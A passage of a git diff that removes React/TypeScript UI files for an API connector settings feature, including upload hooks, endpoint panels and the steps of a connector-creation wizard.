-}
-
-interface UseApiConnectorEditDialogI {
-    closeDialog: () => void;
-    control: UseFormReturn<ImportOpenApiSpecificationInput>['control'];
-    form: UseFormReturn<ImportOpenApiSpecificationInput>;
-    handleSubmit: UseFormReturn<ImportOpenApiSpecificationInput>['handleSubmit'];
-    isOpen: boolean;
-    saveApiConnector: () => void;
-}
-
-export default function useApiConnectorEditDialog({
-    apiConnector,
-    onClose,
-}: UseApiConnectorEditDialogProps): UseApiConnectorEditDialogI {
-    const [isOpen, setIsOpen] = useState(true);
-
-    const form = useForm<ImportOpenApiSpecificationInput>({
-        defaultValues: {
-            icon: apiConnector.icon || '',
-            name: apiConnector.name || '',
-            specification: apiConnector.specification || '',
-        },
-    });
-
-    const {control, getValues, handleSubmit, reset} = form;
-
-    const queryClient = useQueryClient();
-
-    const closeDialog = useCallback(() => {
-        setIsOpen(false);
-        onClose();
-        reset();
-    }, [onClose, reset]);
-
-    const importOpenApiSpecificationMutation = useImportOpenApiSpecificationMutation({
-        onSuccess: () => {
-            queryClient.invalidateQueries({
-                queryKey: ['apiConnectors'],
-            });
-
-            closeDialog();
-        },
-    });
-
-    const saveApiConnector = useCallback(() => {
-        const values = getValues();
-
-        importOpenApiSpecificationMutation.mutate({
-            input: {
-                icon: values.icon,
-                name: values.name,
-                specification: values.specification,
-            },
-        });
-    }, [getValues, importOpenApiSpecificationMutation]);
-
-    return {
-        closeDialog,
-        control,
-        form,
-        handleSubmit,
-        isOpen,
-        saveApiConnector,
-    };
-}
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/hooks/useApiConnectorEndpointDetailPanel.ts b/client/src/ee/pages/settings/platform/api-connectors/components/hooks/useApiConnectorEndpointDetailPanel.ts
deleted file mode 100644
index 889cf217e71..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/components/hooks/useApiConnectorEndpointDetailPanel.ts
+++ /dev/null
@@ -1,113 +0,0 @@
-import {toast} from '@/hooks/use-toast';
-import {ApiConnectorEndpoint} from '@/shared/middleware/graphql';
-import {useCallback, useMemo} from 'react';
-import {parse as yamlParse, stringify as yamlStringify} from 'yaml';
-
-import {useEndpointDetailPanelStore} from '../../stores/useEndpointDetailPanelStore';
-
-interface UseApiConnectorEndpointDetailPanelI {
-    apiConnectorName: string | undefined;
-    calculateEditorHeight: (content: string | null) => string;
-    closePanel: () => void;
-    editorOptions: {
-        automaticLayout: boolean;
-        folding: boolean;
-        lineNumbers: 'on';
-        minimap: {enabled: boolean};
-        readOnly: boolean;
-        scrollBeyondLastLine: boolean;
-        wordWrap: 'on';
-    };
-    endpointYaml: string | null;
-    isOpen: boolean;
-    selectedEndpoint: ApiConnectorEndpoint | undefined;
-    specification: string | undefined;
-}
-
-export default function useApiConnectorEndpointDetailPanel(): UseApiConnectorEndpointDetailPanelI {
-    const {apiConnectorName, closePanel, isOpen, selectedEndpoint, specification} = useEndpointDetailPanelStore();
-
-    const extractEndpointSpec = useCallback(() => {
-        if (!specification || !selectedEndpoint) {
-            return null;
-        }
-
-        const path = selectedEndpoint.path;
-        const method = selectedEndpoint.httpMethod?.toLowerCase();
-
-        if (!path || !method) {
-            return specification;
-        }
-
-        try {
-            const parsedSpec = yamlParse(specification);
-
-            if (!parsedSpec.paths?.[path]?.[method]) {
-                return null;
-            }
-
-            const endpointSpec = {
-                info: parsedSpec.info,
-                openapi: parsedSpec.openapi,
-                paths: {
-                    [path]: {
-                        [method]: parsedSpec.paths[path][method],
-                    },
-                },
-                servers: parsedSpec.servers,
-            };
-
-            return yamlStringify(endpointSpec);
-        } catch (error) {
-            console.error('Failed to parse YAML specification when extracting endpoint spec:', error);
-
-            toast({
-                description: 'Could not extract endpoint details. Showing full specification instead.',
-                title: 'Failed to parse specification',
-                variant: 'destructive',
-            });
-
-            return specification;
-        }
-    }, [selectedEndpoint, specification]);
-
-    const endpointYaml = useMemo(() => extractEndpointSpec(), [extractEndpointSpec]);
-
-    const editorOptions = useMemo(
-        () => ({
-            automaticLayout: true,
-            folding: true,
-            lineNumbers: 'on' as const,
-            minimap: {enabled: false},
-            readOnly: true,
-            scrollBeyondLastLine: false,
-            wordWrap: 'on' as const,
-        }),
-        []
-    );
-
-    const calculateEditorHeight = useCallback((content: string | null) => {
-        if (!content) {
-            return '200px';
-        }
-
-        const lineCount = content.split('\n').length;
-        const lineHeight = 19;
-        const minHeight = 200;
-        const maxHeight = 500;
-        const calculatedHeight = Math.min(Math.max(lineCount * lineHeight, minHeight), maxHeight);
-
-        return `${calculatedHeight}px`;
-    }, []);
-
-    return {
-        apiConnectorName,
-        calculateEditorHeight,
-        closePanel,
-        editorOptions,
-        endpointYaml,
-        isOpen,
-        selectedEndpoint,
-        specification,
-    };
-}
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/hooks/useApiConnectorListItem.ts b/client/src/ee/pages/settings/platform/api-connectors/components/hooks/useApiConnectorListItem.ts
deleted file mode 100644
index 42ea5bd68f0..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/components/hooks/useApiConnectorListItem.ts
+++ /dev/null
@@ -1,79 +0,0 @@
-import {ApiConnector, useDeleteApiConnectorMutation, useEnableApiConnectorMutation} from '@/shared/middleware/graphql';
-import {useQueryClient} from '@tanstack/react-query';
-import {useCallback, useMemo, useState} from 'react';
-
-interface UseApiConnectorListItemProps {
-    apiConnector: ApiConnector;
-}
-
-interface UseApiConnectorListItemI {
-    handleAlertDeleteDialogClick: () => void;
-    handleOnCheckedChange: (value: boolean) => void;
-    lastModifiedDate: Date | undefined;
-    setShowDeleteDialog: (show: boolean) => void;
-    setShowEditDialog: (show: boolean) => void;
-    showDeleteDialog: boolean;
-    showEditDialog: boolean;
-}
-
-export default function useApiConnectorListItem({
-    apiConnector,
-}: UseApiConnectorListItemProps): UseApiConnectorListItemI {
-    const [showEditDialog, setShowEditDialog] = useState(false);
-    const [showDeleteDialog, setShowDeleteDialog] = useState(false);
-
-    const queryClient = useQueryClient();
-
-    const lastModifiedDate = useMemo(
-        () => (apiConnector.lastModifiedDate ? new Date(apiConnector.lastModifiedDate) : undefined),
-        [apiConnector.lastModifiedDate]
-    );
-
-    const deleteApiConnectorMutation = useDeleteApiConnectorMutation({
-        onSuccess: () => {
-            queryClient.invalidateQueries({
-                queryKey: ['apiConnectors'],
-            });
-        },
-    });
-
-    const enableApiConnectorMutation = useEnableApiConnectorMutation({
-        onSuccess: () => {
-            queryClient.invalidateQueries({
-                queryKey: ['apiConnectors'],
-            });
-        },
-    });
-
-    const handleAlertDeleteDialogClick = useCallback(() => {
-        if (apiConnector.id) {
-            deleteApiConnectorMutation.mutate({id: apiConnector.id});
-
-            setShowDeleteDialog(false);
-        }
-    }, [apiConnector.id, deleteApiConnectorMutation]);
-
-    const handleOnCheckedChange = useCallback(
-        (value: boolean) => {
-            if (!apiConnector.id) {
-                return;
-            }
-
-            enableApiConnectorMutation.mutate({
-                enable: value,
-                id: apiConnector.id,
-            });
-        },
-        [apiConnector.id, enableApiConnectorMutation]
-    );
-
-    return {
-        handleAlertDeleteDialogClick,
-        handleOnCheckedChange,
-        lastModifiedDate,
-        setShowDeleteDialog,
-        setShowEditDialog,
-        showDeleteDialog,
-        showEditDialog,
-    };
-}
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/hooks/useIconField.ts b/client/src/ee/pages/settings/platform/api-connectors/components/hooks/useIconField.ts
deleted file mode 100644
index 9e0c96e2a12..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/components/hooks/useIconField.ts
+++ /dev/null
@@ -1,67 +0,0 @@
-import {ChangeEvent, useCallback, useEffect, useRef, useState} from 'react';
-import {ControllerRenderProps, FieldPath, FieldValues} from 'react-hook-form';
-
-interface UseIconFieldProps<T extends FieldValues, K extends FieldPath<T>> {
-    field: ControllerRenderProps<T, K>;
-    onIconChange?: (value: string) => void;
-}
-
-interface UseIconFieldI {
-    handleUploadedFile: (event: ChangeEvent<HTMLInputElement>) => Promise<void>;
-    hiddenInputRef: React.RefObject<HTMLInputElement>;
-    onUpload: () => void;
-    preview: string | undefined;
-    uploadButtonLabel: string;
-}
-
-export default function useIconField<T extends FieldValues, K extends FieldPath<T>>({
-    field,
-    onIconChange,
-}: UseIconFieldProps<T, K>): UseIconFieldI {
-    const hiddenInputRef = useRef<HTMLInputElement>(null);
-    const [preview, setPreview] = useState<string>();
-
-    useEffect(() => {
-        return () => {
-            if (preview) {
-                URL.revokeObjectURL(preview);
-            }
-        };
-    }, [preview]);
-
-    const handleUploadedFile = useCallback(
-        async (event: ChangeEvent<HTMLInputElement>) => {
-            const file = event.target.files?.item(0);
-
-            if (file) {
-                const iconText = await file.text();
-
-                field.onChange(iconText);
-                onIconChange?.(iconText);
-
-                if (preview) {
-                    URL.revokeObjectURL(preview);
-                }
-
-                const urlIcon = URL.createObjectURL(file);
-
-                setPreview(urlIcon);
-            }
-        },
-        [field, onIconChange, preview]
-    );
-
-    const onUpload = useCallback(() => {
-        hiddenInputRef.current?.click();
-    }, []);
-
-    const uploadButtonLabel = preview ? 'Change icon' : 'Upload icon';
-
-    return {
-        handleUploadedFile,
-        hiddenInputRef,
-        onUpload,
-        preview,
-        uploadButtonLabel,
-    };
-}
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/hooks/useOpenApiSpecificationField.ts b/client/src/ee/pages/settings/platform/api-connectors/components/hooks/useOpenApiSpecificationField.ts
deleted file mode 100644
index 1fb95811f8c..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/components/hooks/useOpenApiSpecificationField.ts
+++ /dev/null
@@ -1,48 +0,0 @@
-import {ChangeEvent, useCallback, useRef, useState} from 'react';
-import {ControllerRenderProps, FieldPath, FieldValues} from 'react-hook-form';
-
-interface UseOpenApiSpecificationFieldProps<T extends FieldValues, K extends FieldPath<T>> {
-    field: ControllerRenderProps<T, K>;
-}
-
-interface UseOpenApiSpecificationFieldI {
-    handleUploadedFile: (event: ChangeEvent<HTMLInputElement>) => Promise<void>;
-    hiddenInputRef: React.RefObject<HTMLInputElement>;
-    name: string | undefined;
-    onUpload: () => void;
-    uploadButtonLabel: string;
-}
-
-export default function useOpenApiSpecificationField<T extends FieldValues, K extends FieldPath<T>>({
-    field,
-}: UseOpenApiSpecificationFieldProps<T, K>): UseOpenApiSpecificationFieldI {
-    const hiddenInputRef = useRef<HTMLInputElement>(null);
-    const [name, setName] = useState<string>();
-
-    const handleUploadedFile = useCallback(
-        async (event: ChangeEvent<HTMLInputElement>) => {
-            const file = event.target.files?.item(0);
-
-            if (file) {
-                setName(file.name);
-
-                field.onChange(await file.text());
-            }
-        },
-        [field]
-    );
-
-    const onUpload = useCallback(() => {
-        hiddenInputRef.current?.click();
-    }, []);
-
-    const uploadButtonLabel = name ? 'Change spec' : 'Upload spec';
-
-    return {
-        handleUploadedFile,
-        hiddenInputRef,
-        name,
-        onUpload,
-        uploadButtonLabel,
-    };
-}
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/wizard/ApiConnectorWizardBasicStep.tsx b/client/src/ee/pages/settings/platform/api-connectors/components/wizard/ApiConnectorWizardBasicStep.tsx
deleted file mode 100644
index 48968bb9df0..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/components/wizard/ApiConnectorWizardBasicStep.tsx
+++ /dev/null
@@ -1,66 +0,0 @@
-import {Form, FormControl, FormField, FormItem, FormLabel, FormMessage} from '@/components/ui/form';
-import {Input} from '@/components/ui/input';
-import IconField from '@/ee/pages/settings/platform/api-connectors/components/IconField';
-
-import useApiConnectorWizard from './hooks/useApiConnectorWizard';
-
-const ApiConnectorWizardBasicStep = () => {
-    const {control, form} = useApiConnectorWizard('basic');
-
-    return (
-        <Form {...form}>
-            <div className="flex flex-col gap-4 pb-4">
-                <FormField
-                    control={control}
-                    name="name"
-                    render={({field}) => (
-                        <FormItem>
-                            <FormLabel>Name</FormLabel>
-
-                            <FormControl>
-                                <Input placeholder="my-api-connector" {...field} />
-                            </FormControl>
-
-                            <FormMessage />
-                        </FormItem>
-                    )}
-                    rules={{required: 'Name is required'}}
-                />
-
-                <FormField
-                    control={control}
-                    name="icon"
-                    render={({field}) => (
-                        <FormItem>
-                            <FormLabel>Icon</FormLabel>
-
-                            <FormControl>
-                                <IconField field={field} />
-                            </FormControl>
-
-                            <FormMessage />
-                        </FormItem>
-                    )}
-                />
-
-                <FormField
-                    control={control}
-                    name="baseUrl"
-                    render={({field}) => (
-                        <FormItem>
-                            <FormLabel>Base URL</FormLabel>
-
-                            <FormControl>
-                                <Input placeholder="https://api.example.com/v1" {...field} />
-                            </FormControl>
-
-                            <FormMessage />
-                        </FormItem>
-                    )}
-                />
-            </div>
-        </Form>
-    );
-};
-
-export default ApiConnectorWizardBasicStep;
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/wizard/ApiConnectorWizardDocUrlStep.tsx b/client/src/ee/pages/settings/platform/api-connectors/components/wizard/ApiConnectorWizardDocUrlStep.tsx
deleted file mode 100644
index 7839151a4e9..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/components/wizard/ApiConnectorWizardDocUrlStep.tsx
+++ /dev/null
@@ -1,93 +0,0 @@
-import {Form, FormControl, FormField, FormItem, FormLabel, FormMessage} from '@/components/ui/form';
-import {Input} from '@/components/ui/input';
-import {Textarea} from '@/components/ui/textarea';
-import IconField from '@/ee/pages/settings/platform/api-connectors/components/IconField';
-
-import useApiConnectorWizard from './hooks/useApiConnectorWizard';
-
-const ApiConnectorWizardDocUrlStep = () => {
-    const {control, form} = useApiConnectorWizard('docUrl');
-
-    return (
-        <Form {...form}>
-            <div className="flex flex-col gap-4 pb-4">
-                <FormField
-                    control={control}
-                    name="name"
-                    render={({field}) => (
-                        <FormItem>
-                            <FormLabel>Name</FormLabel>
-
-                            <FormControl>
-                                <Input placeholder="my-api-connector" {...field} />
-                            </FormControl>
-
-                            <FormMessage />
-                        </FormItem>
-                    )}
-                    rules={{required: 'Name is required'}}
-                />
-
-                <FormField
-                    control={control}
-                    name="icon"
-                    render={({field}) => (
-                        <FormItem>
-                            <FormLabel>Icon</FormLabel>
-
-                            <FormControl>
-                                <IconField field={field} />
-                            </FormControl>
-
-                            <FormMessage />
-                        </FormItem>
-                    )}
-                />
-
-                <FormField
-                    control={control}
-                    name="documentationUrl"
-                    render={({field}) => (
-                        <FormItem>
-                            <FormLabel>Documentation URL</FormLabel>
-
-                            <FormControl>
-                                <Input placeholder="https://docs.example.com/api" {...field} />
-                            </FormControl>
-
-                            <FormMessage />
-                        </FormItem>
-                    )}
-                    rules={{required: 'Documentation URL is required'}}
-                />
-
-                <FormField
-                    control={control}
-                    name="userPrompt"
-                    render={({field}) => (
-                        <FormItem>
-                            <FormLabel>Endpoint Instructions (Optional)</FormLabel>
-
-                            <FormControl>
-                                <Textarea
-                                    className="min-h-[80px] resize-y"
-                                    placeholder="Describe which endpoints you need, e.g., 'Only authentication and user management endpoints'"
-                                    {...field}
-                                />
-                            </FormControl>
-
-                            <FormMessage />
-                        </FormItem>
-                    )}
-                />
-
-                <p className="text-sm text-muted-foreground">
-                    Enter the URL of the API documentation. Our AI will analyze the documentation and generate an
-                    OpenAPI specification for you.
-                </p>
-            </div>
-        </Form>
-    );
-};
-
-export default ApiConnectorWizardDocUrlStep;
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/wizard/ApiConnectorWizardEndpointSelectionStep.tsx b/client/src/ee/pages/settings/platform/api-connectors/components/wizard/ApiConnectorWizardEndpointSelectionStep.tsx
deleted file mode 100644
index 524cad96290..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/components/wizard/ApiConnectorWizardEndpointSelectionStep.tsx
+++ /dev/null
@@ -1,105 +0,0 @@
-import Button from '@/components/Button/Button';
-import {Checkbox} from '@/components/ui/checkbox';
-import {Label} from '@/components/ui/label';
-import {ScrollArea} from '@/components/ui/scroll-area';
-import {twMerge} from 'tailwind-merge';
-
-import {getHttpMethodPillColor} from '../../utils/httpMethod-utils';
-import useApiConnectorWizardEndpointSelectionStep from './hooks/useApiConnectorWizardEndpointSelectionStep';
-
-const ApiConnectorWizardEndpointSelectionStep = () => {
-    const {
-        allSelected,
-        deselectAllEndpoints,
-        discoveredEndpoints,
-        endpointsByResource,
-        noneSelected,
-        resourceNames,
-        selectAllEndpoints,
-        selectedEndpointIds,
-        toggleEndpointSelection,
-    } = useApiConnectorWizardEndpointSelectionStep();
-
-    return (
-        <div className="flex flex-col gap-4">
-            <div className="flex items-center justify-between">
-                <div>
-                    <p className="text-sm text-muted-foreground">
-                        Select the endpoints you want to include in your API connector.
-                    </p>
-
-                    <p className="text-xs text-muted-foreground">
-                        {selectedEndpointIds.length} of {discoveredEndpoints.length} endpoints selected
-                    </p>
-                </div>
-
-                <div className="flex gap-2">
-                    <Button disabled={allSelected} onClick={selectAllEndpoints} size="sm" variant="outline">
-                        Select All
-                    </Button>
-
-                    <Button disabled={noneSelected} onClick={deselectAllEndpoints} size="sm" variant="outline">
-                        Deselect All
-                    </Button>
-                </div>
-            </div>
-
-            <ScrollArea className="h-[400px] rounded-md border p-4">
-                <div className="space-y-6">
-                    {resourceNames.map((resource) => (
-                        <div key={resource}>
-                            <h4 className="mb-2 font-semibold text-gray-700">{resource}</h4>
-
-                            <div className="space-y-2">
-                                {endpointsByResource[resource].map((endpoint) => {
-                                    const isSelected = selectedEndpointIds.includes(endpoint.id);
-
-                                    return (
-                                        <div
-                                            className="flex items-start gap-3 rounded-md border p-3 hover:bg-gray-50"
-                                            key={endpoint.id}
-                                        >
-                                            <Checkbox
-                                                checked={isSelected}
-                                                id={endpoint.id}
-                                                onCheckedChange={() => toggleEndpointSelection(endpoint.id)}
-                                            />
-
-                                            <Label
-                                                className="flex flex-1 cursor-pointer flex-col gap-1"
-                                                htmlFor={endpoint.id}
-                                            >
-                                                <div className="flex items-center gap-2">
-                                                    <span
-                                                        className={twMerge(
-                                                            'inline-flex items-center rounded px-2 py-0.5 text-xs font-medium',
-                                                            getHttpMethodPillColor(endpoint.method)
-                                                        )}
-                                                    >
-                                                        {endpoint.method}
-                                                    </span>
-
-                                                    <span className="font-mono text-sm">{endpoint.path}</span>
-                                                </div>
-
-                                                {endpoint.summary && (
-                                                    <span className="text-xs text-muted-foreground">
-                                                        {endpoint.summary}
-                                                    </span>
-                                                )}
-                                            </Label>
-                                        </div>
-                                    );
-                                })}
-                            </div>
-                        </div>
-                    ))}
-                </div>
-            </ScrollArea>
-
-            {noneSelected && <p className="text-sm text-red-500">Please select at least one endpoint to continue.</p>}
-        </div>
-    );
-};
-
-export default ApiConnectorWizardEndpointSelectionStep;
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/wizard/ApiConnectorWizardEndpointsStep.tsx b/client/src/ee/pages/settings/platform/api-connectors/components/wizard/ApiConnectorWizardEndpointsStep.tsx
deleted file mode 100644
index 30dd4f23b4d..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/components/wizard/ApiConnectorWizardEndpointsStep.tsx
+++ /dev/null
@@ -1,106 +0,0 @@
-import Badge from '@/components/Badge/Badge';
-import Button from '@/components/Button/Button';
-import {PlusIcon, Trash2Icon} from 'lucide-react';
-import {twMerge} from 'tailwind-merge';
-
-import {getHttpMethodBadgeColor} from '../../utils/httpMethod-utils';
-import {EndpointForm} from '../endpoint-editor';
-import useApiConnectorWizardEndpointsStep from './hooks/useApiConnectorWizardEndpointsStep';
-
-const ApiConnectorWizardEndpointsStep = () => {
-    const {
-        editingEndpoint,
-        endpoints,
-        handleCloseDialog,
-        handleSaveEndpoint,
-        isDialogOpen,
-        openAddDialog,
-        openEditDialog,
-        removeEndpoint,
-    } = useApiConnectorWizardEndpointsStep();
-
-    return (
-        <div className="flex flex-col gap-4 pb-4">
-            <div className="flex items-center justify-between">
-                <h3 className="text-sm font-medium">Endpoints</h3>
-
-                <Button icon={<PlusIcon className="size-4" />} onClick={openAddDialog} size="sm" variant="secondary">
-                    Add Endpoint
-                </Button>
-            </div>
-
-            {endpoints.length === 0 ? (
-                <div className="rounded-md border border-dashed p-8 text-center">
-                    <p className="text-sm text-muted-foreground">No endpoints defined yet.</p>
-
-                    <p className="text-sm text-muted-foreground">Click "Add Endpoint" to create your first endpoint.</p>
-                </div>
-            ) : (
-                <ul className="divide-y rounded-md border">
-                    {endpoints.map((endpoint) => (
-                        <li
-                            aria-label={`Edit ${endpoint.operationId} endpoint`}
-                            className="flex cursor-pointer items-center justify-between p-3 hover:bg-gray-50 focus-visible:bg-gray-50 focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-inset focus-visible:ring-gray-400"
-                            key={endpoint.id}
-                            onClick={() => openEditDialog(endpoint)}
-                            onKeyDown={(event) => {
-                                if (event.key === 'Enter' || event.key === ' ') {
-                                    event.preventDefault();
-                                    openEditDialog(endpoint);
-                                }
-                            }}
-                            role="button"
-                            tabIndex={0}
-                        >
-                            <div className="flex items-center gap-3">
-                                <Badge
-                                    className={twMerge('w-20', getHttpMethodBadgeColor(endpoint.httpMethod))}
-                                    label={endpoint.httpMethod}
-                                    styleType="outline-outline"
-                                    weight="semibold"
-                                />
-
-                                <div>
-                                    <p className="text-sm font-medium">{endpoint.operationId}</p>
-
-                                    <p className="text-xs text-gray-500">{endpoint.path}</p>
-
-                                    <div className="mt-1 flex gap-2 text-xs text-gray-400">
-                                        {endpoint.parameters.length > 0 && (
-                                            <span>{endpoint.parameters.length} param(s)</span>
-                                        )}
-
-                                        {endpoint.requestBody && <span>body</span>}
-
-                                        {endpoint.responses.length > 0 && (
-                                            <span>{endpoint.responses.length} response(s)</span>
-                                        )}
-                                    </div>
-                                </div>
-                            </div>
-
-                            <Button
-                                icon={<Trash2Icon className="size-4" />}
-                                onClick={(event) => {
-                                    event.stopPropagation();
-                                    removeEndpoint(endpoint.id);
-                                }}
-                                size="icon"
-                                variant="ghost"
-                            />
-                        </li>
-                    ))}
-                </ul>
-            )}
-
-            <EndpointForm
-                endpoint={editingEndpoint}
-                onClose={handleCloseDialog}
-                onSave={handleSaveEndpoint}
-                open={isDialogOpen}
-            />
-        </div>
-    );
-};
-
-export default ApiConnectorWizardEndpointsStep;
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/wizard/ApiConnectorWizardImportStep.tsx b/client/src/ee/pages/settings/platform/api-connectors/components/wizard/ApiConnectorWizardImportStep.tsx
deleted file mode 100644
index af6d3b8ad7d..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/components/wizard/ApiConnectorWizardImportStep.tsx
+++ /dev/null
@@ -1,68 +0,0 @@
-import {Form, FormControl, FormField, FormItem, FormLabel, FormMessage} from '@/components/ui/form';
-import {Input} from '@/components/ui/input';
-import IconField from '@/ee/pages/settings/platform/api-connectors/components/IconField';
-import OpenApiSpecificationField from '@/ee/pages/settings/platform/api-connectors/components/OpenApiSpecificationField';
-
-import useApiConnectorWizard from './hooks/useApiConnectorWizard';
-
-const ApiConnectorWizardImportStep = () => {
-    const {control, form} = useApiConnectorWizard('import');
-
-    return (
-        <Form {...form}>
-            <div className="flex flex-col gap-4 pb-4">
-                <FormField
-                    control={control}
-                    name="name"
-                    render={({field}) => (
-                        <FormItem>
-                            <FormLabel>Name</FormLabel>
-
-                            <FormControl>
-                                <Input placeholder="my-api-connector" {...field} />
-                            </FormControl>
-
-                            <FormMessage />
-                        </FormItem>
-                    )}
-                    rules={{required: 'Name is required'}}
-                />
-
-                <FormField
-                    control={control}
-                    name="icon"
-                    render={({field}) => (
-                        <FormItem>
-                            <FormLabel>Icon</FormLabel>
-
-                            <FormControl>
-                                <IconField field={field} />
-                            </FormControl>
-
-                            <FormMessage />
-                        </FormItem>
-                    )}
-                />
-
-                <FormField
-                    control={control}
-                    name="specification"
-                    render={({field}) => (
-                        <FormItem>
-                            <FormLabel>OpenAPI Specification</FormLabel>
-
-                            <FormControl>
-                                <OpenApiSpecificationField field={field} />
-                            </FormControl>
-
-                            <FormMessage />
-                        </FormItem>
-                    )}
-                    rules={{required: 'Specification file is required'}}
-                />
-            </div>
-        </Form>
-    );
-};
-
-export default ApiConnectorWizardImportStep;
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/wizard/ApiConnectorWizardLayout.tsx b/client/src/ee/pages/settings/platform/api-connectors/components/wizard/ApiConnectorWizardLayout.tsx
deleted file mode 100644
index bd73f69615e..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/components/wizard/ApiConnectorWizardLayout.tsx
+++ /dev/null
@@ -1,130 +0,0 @@
-import Button from '@/components/Button/Button';
-import LoadingIcon from '@/components/LoadingIcon';
-import {Cross2Icon} from '@radix-ui/react-icons';
-import {ArrowLeftIcon} from 'lucide-react';
-import {ReactNode} from 'react';
-import {twMerge} from 'tailwind-merge';
-
-import useApiConnectorWizardLayout from './hooks/useApiConnectorWizardLayout';
-
-interface ApiConnectorWizardLayoutProps {
-    canProceed: boolean;
-    children: ReactNode;
-    currentStep: number;
-    isPending?: boolean;
-    isProcessing?: boolean;
-    onCancel: () => void;
-    onNext: () => void;
-    onPrevious: () => void;
-    onSave: () => void;
-    pageTitle: string;
-    primaryButtonLabel?: string;
-    steps: readonly string[];
-}
-
-const ApiConnectorWizardLayout = ({
-    canProceed,
-    children,
-    currentStep,
-    isPending = false,
-    isProcessing = false,
-    onCancel,
-    onNext,
-    onPrevious,
-    onSave,
-    pageTitle,
-    primaryButtonLabel,
-    steps,
-}: ApiConnectorWizardLayoutProps) => {
-    const {cancelButtonLabel, isFirstStep, isLastStep, pageTitleWithStep, primaryLabel} = useApiConnectorWizardLayout({
-        currentStep,
-        isProcessing,
-        pageTitle,
-        primaryButtonLabel,
-        steps,
-    });
-
-    return (
-        <div className="flex min-h-full items-center justify-center p-6">
-            <div className="w-full max-w-2xl">
-                <div className="rounded-lg border bg-white shadow-sm">
-                    <div className="flex flex-col gap-1 border-b p-6">
-                        <div className="flex items-center justify-between">
-                            <h1 className="text-lg font-semibold">{pageTitleWithStep}</h1>
-
-                            <Button
-                                aria-label="Close"
-                                icon={<Cross2Icon className="size-4" />}
-                                onClick={onCancel}
-                                size="icon"
-                                variant="ghost"
-                            />
-                        </div>
-
-                        <nav aria-label="Progress">
-                            <ol className="space-y-4 md:flex md:space-y-0" role="list">
-                                {steps.map((step, index) => (
-                                    <li
-                                        className={twMerge(
-                                            'group flex flex-col border-l-4 py-2 pl-4 md:flex-1 md:border-l-0 md:border-t-4 md:pb-0 md:pl-0 md:pt-2',
-                                            index <= currentStep
-                                                ? 'border-gray-900 hover:border-gray-800'
-                                                : 'border-gray-200 hover:border-gray-300'
-                                        )}
-                                        key={step}
-                                    >
-                                        <span
-                                            className={twMerge(
-                                                'text-xs font-medium',
-                                                index <= currentStep ? 'text-gray-900' : 'text-gray-500'
-                                            )}
-                                        >
-                                            {step}
-                                        </span>
-                                    </li>
-                                ))}
-                            </ol>
-                        </nav>
-                    </div>
-
-                    <div className="max-h-[60vh] overflow-y-auto p-6">{children}</div>
-
-                    <div className="flex justify-between border-t p-6">
-                        {isFirstStep ? (
-                            <Button disabled={isProcessing} onClick={onCancel} variant="outline">
-                                <ArrowLeftIcon className="mr-2 size-4" />
-
-                                {cancelButtonLabel}
-                            </Button>
-                        ) : (
-                            <Button onClick={onPrevious} variant="outline">
-                                <ArrowLeftIcon className="mr-2 size-4" />
-                                Previous
-                            </Button>
-                        )}
-
-                        {isLastStep ? (
-                            <Button
-                                disabled={isPending || !canProceed}
-                                icon={isPending ? <LoadingIcon /> : undefined}
-                                onClick={onSave}
-                            >
-                                {primaryLabel}
-                            </Button>
-                        ) : (
-                            <Button
-                                disabled={!canProceed || isProcessing || isPending}
-                                icon={isPending || isProcessing ? <LoadingIcon /> : undefined}
-                                onClick={onNext}
-                            >
-                                {primaryLabel}
-                            </Button>
-                        )}
-                    </div>
-                </div>
-            </div>
-        </div>
-    );
-};
-
-export default ApiConnectorWizardLayout;
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/wizard/ApiConnectorWizardReviewStep.tsx b/client/src/ee/pages/settings/platform/api-connectors/components/wizard/ApiConnectorWizardReviewStep.tsx
deleted file mode 100644
index 56b6664828e..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/components/wizard/ApiConnectorWizardReviewStep.tsx
+++ /dev/null
@@ -1,96 +0,0 @@
-import Badge from '@/components/Badge/Badge';
-import Button from '@/components/Button/Button';
-import {Trash2Icon} from 'lucide-react';
-import {twMerge} from 'tailwind-merge';
-
-import {WizardModeType} from '../../types/api-connector-wizard.types';
-import {getHttpMethodBadgeColor} from '../../utils/httpMethod-utils';
-import useApiConnectorWizardReviewStep from './hooks/useApiConnectorWizardReviewStep';
-
-interface ApiConnectorWizardReviewStepProps {
-    mode: WizardModeType;
-}
-
-const ApiConnectorWizardReviewStep = ({mode}: ApiConnectorWizardReviewStepProps) => {
-    const {baseUrl, displayEndpoints, name, removeEndpoint, specification} = useApiConnectorWizardReviewStep({mode});
-
-    return (
-        <div className="flex flex-col gap-4 pb-4">
-            <div>
-                <h3 className="text-sm font-medium">Review API Connector</h3>
-
-                <p className="text-sm text-muted-foreground">Review the endpoints before creating the API connector.</p>
-            </div>
-
-            <div className="rounded-md border p-3">
-                <p className="text-sm">
-                    <span className="font-medium">Name:</span> {name}
-                </p>
-
-                {baseUrl && (
-                    <p className="text-sm">
-                        <span className="font-medium">Base URL:</span> {baseUrl}
-                    </p>
-                )}
-
-                <p className="text-sm">
-                    <span className="font-medium">Endpoints:</span> {displayEndpoints.length}
-                </p>
-            </div>
-
-            <div>
-                <h4 className="mb-2 text-sm font-medium">Endpoints</h4>
-
-                {displayEndpoints.length === 0 ? (
-                    <div className="rounded-md border border-dashed p-4 text-center">
-                        <p className="text-sm text-muted-foreground">No endpoints found.</p>
-                    </div>
